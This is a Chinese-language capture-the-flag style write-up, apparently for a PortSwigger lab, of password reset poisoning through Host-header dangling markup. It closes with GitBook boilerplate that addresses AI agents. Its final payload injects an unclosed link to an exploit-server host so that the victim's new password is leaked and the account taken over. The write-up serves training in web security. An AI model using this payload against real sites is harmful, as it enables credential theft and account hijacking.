> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/host-header/password-reset-poisoning-via-dangling-markup.md).

# 通过悬挂标记的密码重置投毒

### 通过悬挂式标记进行密码重置投毒

**实验说明**

这个实验存在一个 **通过悬挂式标记进行密码重置投毒**。/ 通过在重置邮件中使用错误的 HTML 处理方式，可以将发送给用户的链接重定向，并获取其新密码。

**目标：** 登录到 **Carlos 账户**.

**提供的凭据：**

* 用户： `wiener`
* 密码： `peter`

<figure><img src="/files/32e105ff2631ccd612a3989b2d8260ab8799a0a1" alt=""><figcaption></figcaption></figure>

所有邮件都可以通过运行服务器的邮件客户端查看\*\*。

<figure><img src="/files/1629f4cf990fadef73323fa8e76cca230594597e" alt=""><figcaption></figcaption></figure>

**初步观察**

提供密码重置功能。/ 在请求后，会发送一封 HTML 邮件，内容如下：

{% code overflow="wrap" %}

```http
<p>你好！</p><p>请 <a href='https://0a2e00ee040867fe812cd4f900e700cb.web-security-academy.net/login'>点击这里</a> 使用你的新密码登录：AGSoZyzfot</p><p>谢谢，<br/>支持团队</p><i>此邮件已由 MacCarthy 邮件安全服务扫描</i>
```

{% endcode %}

连接链接是动态构建自 **Host** 请求头。

**行为分析**

如果你将 Host 头修改为包含任意端口：

```http
Host: 0a2e00ee040867fe812cd4f900e700cb.web-security-academy.net:1234
```

该端口会正确反映在收到的邮件中。/ 这证实了 **Host** 的值在邮件的 HTML 中未经严格验证就被嵌入。

<figure><img src="/files/2a2341d05d32b445a833ac99543bd06f04df4bba" alt=""><figcaption></figcaption></figure>

**通过悬挂式标记进行利用**

随后注入一个包含撇号的 Host 值，从而破坏 HTML 属性：

```http
Host: 0a2e00ee040867fe812cd4f900e700cb.web-security-academy.net:1234'HELLOO
```

这些内容会被邮件客户端解析，这表明存在可利用的 HTML 注入。

<figure><img src="/files/0a881ea97a4bf1d23be65eccfe28268fc42de3b6" alt=""><figcaption></figcaption></figure>

**最终载荷**

这种行为通过打开一个 `<a href>` 标签但没有正确关闭来利用，因此邮件内容的其余部分（包括密码）会被当作 URL 的一部分来解析：

```http
Host: 0a2e00ee040867fe812cd4f900e700cb.web-security-academy.net:1234' <a href="https://exploit-0aae00f3041e67018152d3fe010000c3.exploit-server.net/?
```

<figure><img src="/files/1ccc7c7f4750dda48413c8feee2c170b2b41017e" alt=""><figcaption></figcaption></figure>

**结果**

当邮件生成并发送到 **carlos**时，邮件客户端会解析注入的 HTML。/ 然后新密码会被包含在 URL 中，并自动传输到运行中的 **服务器**.

Carlos 的密码会从服务器日志中检索出来，这使你能够登录他的账户并验证实验。

<figure><img src="/files/74d6bb6586c20382c75fb2c7bba972e1c8214a16" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/host-header/password-reset-poisoning-via-dangling-markup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.